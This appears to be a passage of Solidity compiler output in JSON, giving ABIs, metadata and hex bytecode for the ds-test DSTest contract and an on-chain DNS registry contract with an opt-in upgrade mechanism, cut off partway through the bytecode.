    "content": "{\"contracts\":{\"lib/ds-test/src/test.sol:DSTest\":{\"abi\":\"[{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"target\\\",\\\"type\\\":\\\"address\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bool\\\",\\\"name\\\":\\\"exact\\\",\\\"type\\\":\\\"bool\\\"}],\\\"name\\\":\\\"eventListener\\\",\\\"type\\\":\\\"event\\\"},{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes32\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bytes32\\\"}],\\\"name\\\":\\\"log_bytes32\\\",\\\"type\\\":\\\"event\\\"},{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes32\\\",\\\"name\\\":\\\"key\\\",\\\"type\\\":\\\"bytes32\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"val\\\",\\\"type\\\":\\\"address\\\"}],\\\"name\\\":\\\"log_named_address\\\",\\\"type\\\":\\\"event\\\"},{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes32\\\",\\\"name\\\":\\\"key\\\",\\\"type\\\":\\\"bytes32\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes32\\\",\\\"name\\\":\\\"val\\\",\\\"type\\\":\\\"bytes32\\\"}],\\\"name\\\":\\\"log_named_bytes32\\\",\\\"type\\\":\\\"event\\\"},{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes32\\\",\\\"name\\\":\\\"key\\\",\\\"type\\\":\\\"bytes32\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"int256\\\",\\\"name\\\":\\\"val\\\",\\\"type\\\":\\\"int256\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"uint256\\\",\\\"name\\\":\\\"decimals\\\",\\\"type\\\":\\\"uint256\\\"}],\\\"name\\\":\\\"log_named_decimal_int\\\",\\\"type\\\":\\\"event\\\"},{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes32\\\",\\\"name\\\":\\\"key\\\",\\\"type\\\":\\\"bytes32\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"uint256\\\",\\\"name\\\":\\\"val\\\",\\\"type\\\":\\\"uint256\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"uint256\\\",\\\"name\\\":\\\"decimals\\\",\\\"type\\\":\\\"uint256\\\"}],\\\"name\\\":\\\"log_named_decimal_uint\\\",\\\"type\\\":\\\"event\\\"},{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes32\\\",\\\"name\\\":\\\"key\\\",\\\"type\\\":\\\"bytes32\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"int256\\\",\\\"name\\\":\\\"val\\\",\\\"type\\\":\\\"int256\\\"}],\\\"name\\\":\\\"log_named_int\\\",\\\"type\\\":\\\"event\\\"},{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes32\\\",\\\"name\\\":\\\"key\\\",\\\"type\\\":\\\"bytes32\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"val\\\",\\\"type\\\":\\\"string\\\"}],\\\"name\\\":\\\"log_named_string\\\",\\\"type\\\":\\\"event\\\"},{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes32\\\",\\\"name\\\":\\\"key\\\",\\\"type\\\":\\\"bytes32\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"uint256\\\",\\\"name\\\":\\\"val\\\",\\\"type\\\":\\\"uint256\\\"}],\\\"name\\\":\\\"log_named_uint\\\",\\\"type\\\":\\\"event\\\"},{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bytes\\\"}],\\\"name\\\":\\\"logs\\\",\\\"type\\\":\\\"event\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"IS_TEST\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"bool\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bool\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"failed\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"bool\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bool\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"}]\",\"bin\":\"\",\"bin-runtime\":\"\",\"metadata\":\"{\\\"compiler\\\":{\\\"version\\\":\\\"0.7.4+commit.3f05b770\\\"},\\\"language\\\":\\\"Solidity\\\",\\\"output\\\":{\\\"abi\\\":[{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"target\\\",\\\"type\\\":\\\"address\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bool\\\",\\\"name\\\":\\\"exact\\\",\\\"type\\\":\\\"bool\\\"}],\\\"name\\\":\\\"eventListener\\\",\\\"type\\\":\\\"event\\\"},{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes32\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bytes32\\\"}],\\\"name\\\":\\\"log_bytes32\\\",\\\"type\\\":\\\"event\\\"},{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes32\\\",\\\"name\\\":\\\"key\\\",\\\"type\\\":\\\"bytes32\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"val\\\",\\\"type\\\":\\\"address\\\"}],\\\"name\\\":\\\"log_named_address\\\",\\\"type\\\":\\\"event\\\"},{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes32\\\",\\\"name\\\":\\\"key\\\",\\\"type\\\":\\\"bytes32\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes32\\\",\\\"name\\\":\\\"val\\\",\\\"type\\\":\\\"bytes32\\\"}],\\\"name\\\":\\\"log_named_bytes32\\\",\\\"type\\\":\\\"event\\\"},{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes32\\\",\\\"name\\\":\\\"key\\\",\\\"type\\\":\\\"bytes32\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"int256\\\",\\\"name\\\":\\\"val\\\",\\\"type\\\":\\\"int256\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"uint256\\\",\\\"name\\\":\\\"decimals\\\",\\\"type\\\":\\\"uint256\\\"}],\\\"name\\\":\\\"log_named_decimal_int\\\",\\\"type\\\":\\\"event\\\"},{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes32\\\",\\\"name\\\":\\\"key\\\",\\\"type\\\":\\\"bytes32\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"uint256\\\",\\\"name\\\":\\\"val\\\",\\\"type\\\":\\\"uint256\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"uint256\\\",\\\"name\\\":\\\"decimals\\\",\\\"type\\\":\\\"uint256\\\"}],\\\"name\\\":\\\"log_named_decimal_uint\\\",\\\"type\\\":\\\"event\\\"},{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes32\\\",\\\"name\\\":\\\"key\\\",\\\"type\\\":\\\"bytes32\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"int256\\\",\\\"name\\\":\\\"val\\\",\\\"type\\\":\\\"int256\\\"}],\\\"name\\\":\\\"log_named_int\\\",\\\"type\\\":\\\"event\\\"},{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes32\\\",\\\"name\\\":\\\"key\\\",\\\"type\\\":\\\"bytes32\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"val\\\",\\\"type\\\":\\\"string\\\"}],\\\"name\\\":\\\"log_named_string\\\",\\\"type\\\":\\\"event\\\"},{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes32\\\",\\\"name\\\":\\\"key\\\",\\\"type\\\":\\\"bytes32\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"uint256\\\",\\\"name\\\":\\\"val\\\",\\\"type\\\":\\\"uint256\\\"}],\\\"name\\\":\\\"log_named_uint\\\",\\\"type\\\":\\\"event\\\"},{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bytes\\\"}],\\\"name\\\":\\\"logs\\\",\\\"type\\\":\\\"event\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"IS_TEST\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"bool\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bool\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"failed\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"bool\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bool\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"}],\\\"devdoc\\\":{\\\"kind\\\":\\\"dev\\\",\\\"methods\\\":{},\\\"version\\\":1},\\\"userdoc\\\":{\\\"kind\\\":\\\"user\\\",\\\"methods\\\":{},\\\"version\\\":1}},\\\"settings\\\":{\\\"compilationTarget\\\":{\\\"lib/ds-test/src/test.sol\\\":\\\"DSTest\\\"},\\\"evmVersion\\\":\\\"istanbul\\\",\\\"libraries\\\":{},\\\"metadata\\\":{\\\"bytecodeHash\\\":\\\"ipfs\\\"},\\\"optimizer\\\":{\\\"enabled\\\":false,\\\"runs\\\":200},\\\"remappings\\\":[\\\":/=/\\\",\\\":ds-test/=lib/ds-test/src/\\\",\\\":ds-test=lib/ds-test/src/index.sol\\\"]},\\\"sources\\\":{\\\"lib/ds-test/src/test.sol\\\":{\\\"keccak256\\\":\\\"0x0585b4faea84c48433a20491b7285f004b11902132543f2ad286407cb08b0535\\\",\\\"license\\\":\\\"GPL-v3\\\",\\\"urls\\\":[\\\"bzz-raw://411e78f8169949a26f2483234d1bbb0fc9fbf1980a3e7d18f5890fbef9b2b737\\\",\\\"dweb:/ipfs/Qmcsk29nfkd3c251qD9j2gBYzCbHpNpYvq8tXErtroG8FA\\\"]}},\\\"version\\\":1}\",\"srcmap\":\"\",\"srcmap-runtime\":\"\",\"storage-layout\":\"{\\\"storage\\\":[{\\\"astId\\\":2367,\\\"contract\\\":\\\"lib/ds-test/src/test.sol:DSTest\\\",\\\"label\\\":\\\"IS_TEST\\\",\\\"offset\\\":0,\\\"slot\\\":\\\"0\\\",\\\"type\\\":\\\"t_bool\\\"},{\\\"astId\\\":2369,\\\"contract\\\":\\\"lib/ds-test/src/test.sol:DSTest\\\",\\\"label\\\":\\\"failed\\\",\\\"offset\\\":1,\\\"slot\\\":\\\"0\\\",\\\"type\\\":\\\"t_bool\\\"}],\\\"types\\\":{\\\"t_bool\\\":{\\\"encoding\\\":\\\"inplace\\\",\\\"label\\\":\\\"bool\\\",\\\"numberOfBytes\\\":\\\"1\\\"}}}\"},\"src/DNS.sol:DNS\":{\"abi\":\"[{\\\"inputs\\\":[{\\\"internalType\\\":\\\"contract Upgrade\\\",\\\"name\\\":\\\"_upgradeInfo\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"constructor\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"_user\\\",\\\"type\\\":\\\"address\\\"}],\\\"name\\\":\\\"activeUpgrade\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"bool\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bool\\\"},{\\\"internalType\\\":\\\"contract IDNS\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"admin\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"cancelUpgrade\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"contract IDNS\\\",\\\"name\\\":\\\"_addr\\\",\\\"type\\\":\\\"address\\\"},{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"_user\\\",\\\"type\\\":\\\"address\\\"}],\\\"name\\\":\\\"isTrustedUpgrade\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"bool\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bool\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"uint256\\\",\\\"name\\\":\\\"_when\\\",\\\"type\\\":\\\"uint256\\\"},{\\\"internalType\\\":\\\"contract IDNS\\\",\\\"name\\\":\\\"_to\\\",\\\"type\\\":\\\"address\\\"}],\\\"name\\\":\\\"newUpgrade\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"enum Upgrade.Opt\\\",\\\"name\\\":\\\"_opt\\\",\\\"type\\\":\\\"uint8\\\"}],\\\"name\\\":\\\"opt\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"},{\\\"internalType\\\":\\\"bytes4\\\",\\\"name\\\":\\\"_ip\\\",\\\"type\\\":\\\"bytes4\\\"},{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"_owner\\\",\\\"type\\\":\\\"address\\\"}],\\\"name\\\":\\\"register\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"}],\\\"name\\\":\\\"resolve\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"bytes4\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bytes4\\\"},{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"owner\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"},{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"_owner\\\",\\\"type\\\":\\\"address\\\"}],\\\"name\\\":\\\"transfer\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"},{\\\"internalType\\\":\\\"bytes4\\\",\\\"name\\\":\\\"_ip\\\",\\\"type\\\":\\\"bytes4\\\"}],\\\"name\\\":\\\"update\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"upgradeInfo\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"contract Upgrade\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"upgradePlanned\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"bool\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bool\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"uint256\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"uint256\\\"}],\\\"name\\\":\\\"upgrades\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"uint256\\\",\\\"name\\\":\\\"when\\\",\\\"type\\\":\\\"uint256\\\"},{\\\"internalType\\\":\\\"contract IDNS\\\",\\\"name\\\":\\\"to\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"}]\",\"bin\":\"60c06040523480156200001157600080fd5b50604051620024df380380620024df8339818101604052810190620000379190620000c3565b3373ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b815250508073ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff1660601b815250505062000151565b600081519050620000bd8162000137565b92915050565b600060208284031215620000d657600080fd5b6000620000e684828501620000ac565b91505092915050565b6000620000fc8262000117565b9050919050565b60006200011082620000ef565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b620001428162000103565b81146200014e57600080fd5b50565b60805160601c60a05160601c6123466200019960003980610289528061047952806109265280610ec952806112545250806102ad528061063b528061122d52506123466000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063894049781161008c578063d2ac7a5f11610066578063d2ac7a5f14610213578063f7a4669614610231578063f851a4401461024d578063fbf58b3e1461026b576100cf565b806389404978146101aa57806390b60de9146101c6578063b1d6d39d146101f7576100cf565b80630528b345146100d457806327557157146100f2578063461a44781461010e57806355f291661461013f5780635efd5384146101495780637386bbc514610179575b600080fd5b6100dc610287565b6040516100e99190611e48565b60405180910390f35b61010c60048036038101906101079190611973565b6102ab565b005b610128600480360381019061012391906117fa565b610471565b604051610136929190611e1f565b60405180910390f35b610147610639565b005b610163600480360381019061015e9190611795565b610784565b6040516101709190611ddb565b60405180910390f35b610193600480360381019061018e919061194a565b6108cd565b6040516101a1929190612083565b60405180910390f35b6101c460048036038101906101bf91906118e3565b610921565b005b6101e060048036038101906101db91906116f4565b610c56565b6040516101ee929190611df6565b60405180910390f35b610211600480360381019061020c91906117d1565b610db0565b005b61021b610e83565b6040516102289190611ddb565b60405180910390f35b61024b6004803603810190610246919061188f565b610ec4565b005b61025561122b565b6040516102629190611da5565b60405180910390f35b6102856004803603810190610280919061183b565b61124f565b005b7f000000000000000000000000000000000000000000000000000000000000000081565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461030357600080fd5b61030b610e83565b1561034b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161034290612063565b60405180910390fd5b42821161038d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161038490611f63565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156103fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103f490611f43565b60405180910390fd5b6000806001816001815401808255809150500390600052602060002090600302019050828160010181905550818160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b6000806000807f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166390b60de9336040518263ffffffff1660e01b81526004016104d09190611dc0565b604080518083038186803b1580156104e757600080fd5b505afa1580156104fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051f919061171d565b9150915081156105bc578073ffffffffffffffffffffffffffffffffffffffff1663461a4478866040518263ffffffff1660e01b81526004016105629190611e63565b604080518083038186803b15801561057957600080fd5b505afa15801561058d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105b19190611759565b935093505050610634565b6001856040516105cc9190611d8e565b908152602001604051809103902060000160009054906101000a900460e01b6001866040516105fb9190611d8e565b908152602001604051809103902060000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff169350935050505b915091565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461069157600080fd5b610699610e83565b6106d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106cf90611fe3565b60405180910390fd5b6000600160008054905003815481106106ed57fe5b9060005260206000209060030201600060018201600090556002820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555050600080548061073957fe5b6001900381819060005260206000209060030201600060018201600090556002820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550509055565b6000806000805490509050610797610e83565b156107a457806001900390505b60005b818110156108c057600081815481106107bc57fe5b906000526020600020906003020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156108a5575060018081111561082f57fe5b6000828154811061083c57fe5b906000526020600020906003020160000160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660018111156108a357fe5b145b156108b5576001925050506108c7565b8060010190506107a7565b5060009150505b92915050565b600081815481106108dd57600080fd5b90600052602060002090600302016000915090508060010154908060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082565b6000807f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166390b60de9336040518263ffffffff1660e01b815260040161097d9190611dc0565b604080518083038186803b15801561099457600080fd5b505afa1580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc919061171d565b915091508115610a4c578073ffffffffffffffffffffffffffffffffffffffff1663894049788686866040518463ffffffff1660e01b8152600401610a1393929190611ee5565b600060405180830381600087803b158015610a2d57600080fd5b505af1158015610a41573d6000803e3d6000fd5b505050505050610c51565b600060e01b847bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415610ab2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa990611fc3565b60405180910390fd5b6000855111610af6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aed90611f83565b60405180910390fd5b6000600186604051610b089190611d8e565b90815260200160405180910390209050600060e01b8160000160009054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148015610bab5750600073ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610bea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be190612023565b60405180910390fd5b848160000160006101000a81548163ffffffff021916908360e01c0217905550838160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050505b505050565b6000806000808054905090506000811415610c78576000809250925050610dab565b610c80610e83565b15610c98576001811015610c9057fe5b806001900390505b6000811415610cae576000809250925050610dab565b60008190505b6000811115610da157600180811115610cc957fe5b60006001830381548110610cd957fe5b906000526020600020906003020160000160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166001811115610d4057fe5b1415610d9557600160006001830381548110610d5857fe5b906000526020600020906003020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16935093505050610dab565b80600190039050610cb4565b5060008092509250505b915091565b610db8610e83565b610df7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dee90611f23565b60405180910390fd5b6000808054905090508160006001830381548110610e1157fe5b906000526020600020906003020160000160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690836001811115610e7a57fe5b02179055505050565b6000806000805490509050600081118015610ebe57504260006001830381548110610eaa57fe5b906000526020600020906003020160010154115b91505090565b6000807f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166390b60de9336040518263ffffffff1660e01b8152600401610f209190611dc0565b604080518083038186803b158015610f3757600080fd5b505afa158015610f4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f6f919061171d565b9150915081156110e95760008173ffffffffffffffffffffffffffffffffffffffff1663461a4478866040518263ffffffff1660e01b8152600401610fb49190611e63565b604080518083038186803b158015610fcb57600080fd5b505afa158015610fdf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110039190611759565b9150503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611074576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106b90612003565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663f7a4669686866040518363ffffffff1660e01b81526004016110af929190611eb5565b600060405180830381600087803b1580156110c957600080fd5b505af11580156110dd573d6000803e3d6000fd5b50505050505050611227565b60006001856040516110fb9190611d8e565b908152602001604051809103902090503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461119d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119490612043565b60405180910390fd5b600060e01b847bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415611203576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fa90611fc3565b60405180910390fd5b838160000160006101000a81548163ffffffff021916908360e01c02179055505050505b5050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000807f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166390b60de9336040518263ffffffff1660e01b81526004016112ab9190611dc0565b604080518083038186803b1580156112c257600080fd5b505afa1580156112d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112fa919061171d565b9150915081156114745760008173ffffffffffffffffffffffffffffffffffffffff1663461a4478866040518263ffffffff1660e01b815260040161133f9190611e63565b604080518083038186803b15801561135657600080fd5b505afa15801561136a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061138e9190611759565b9150503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146113ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f690612003565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663fbf58b3e86866040518363ffffffff1660e01b815260040161143a929190611e85565b600060405180830381600087803b15801561145457600080fd5b505af1158015611468573d6000803e3d6000fd5b505050505050506115df565b60006001856040516114869190611d8e565b908152602001604051809103902090503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611528576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151f90612043565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611598576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158f90611fa3565b60405180910390fd5b838160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050505b5050565b6000813590506115f28161228d565b92915050565b6000815190506116078161228d565b92915050565b60008151905061161c816122a4565b92915050565b600081359050611631816122bb565b92915050565b600081519050611646816122bb565b92915050565b60008135905061165b816122d2565b92915050565b600081519050611670816122d2565b92915050565b600081359050611685816122e9565b92915050565b600082601f83011261169c57600080fd5b81356116af6116aa826120dd565b6120ac565b915080825260208301602083018583830111156116cb57600080fd5b6116d6838284612238565b50505092915050565b6000813590506116ee816122f9565b92915050565b60006020828403121561170657600080fd5b6000611714848285016115e3565b91505092915050565b6000806040838503121561173057600080fd5b600061173e8582860161160d565b925050602061174f85828601611661565b9150509250929050565b6000806040838503121561176c57600080fd5b600061177a85828601611637565b925050602061178b858286016115f8565b9150509250929050565b600080604083850312156117a857600080fd5b60006117b68582860161164c565b92505060206117c7858286016115e3565b9150509250929050565b6000602082840312156117e357600080fd5b60006117f184828501611676565b91505092915050565b60006020828403121561180c57600080fd5b600082013567ffffffffffffffff81111561182657600080fd5b6118328482850161168b565b91505092915050565b6000806040838503121561184e57600080fd5b600083013567ffffffffffffffff81111561186857600080fd5b6118748582860161168b565b9250506020611885858286016115e3565b9150509250929050565b600080604083850312156118a257600080fd5b600083013567ffffffffffffffff8111156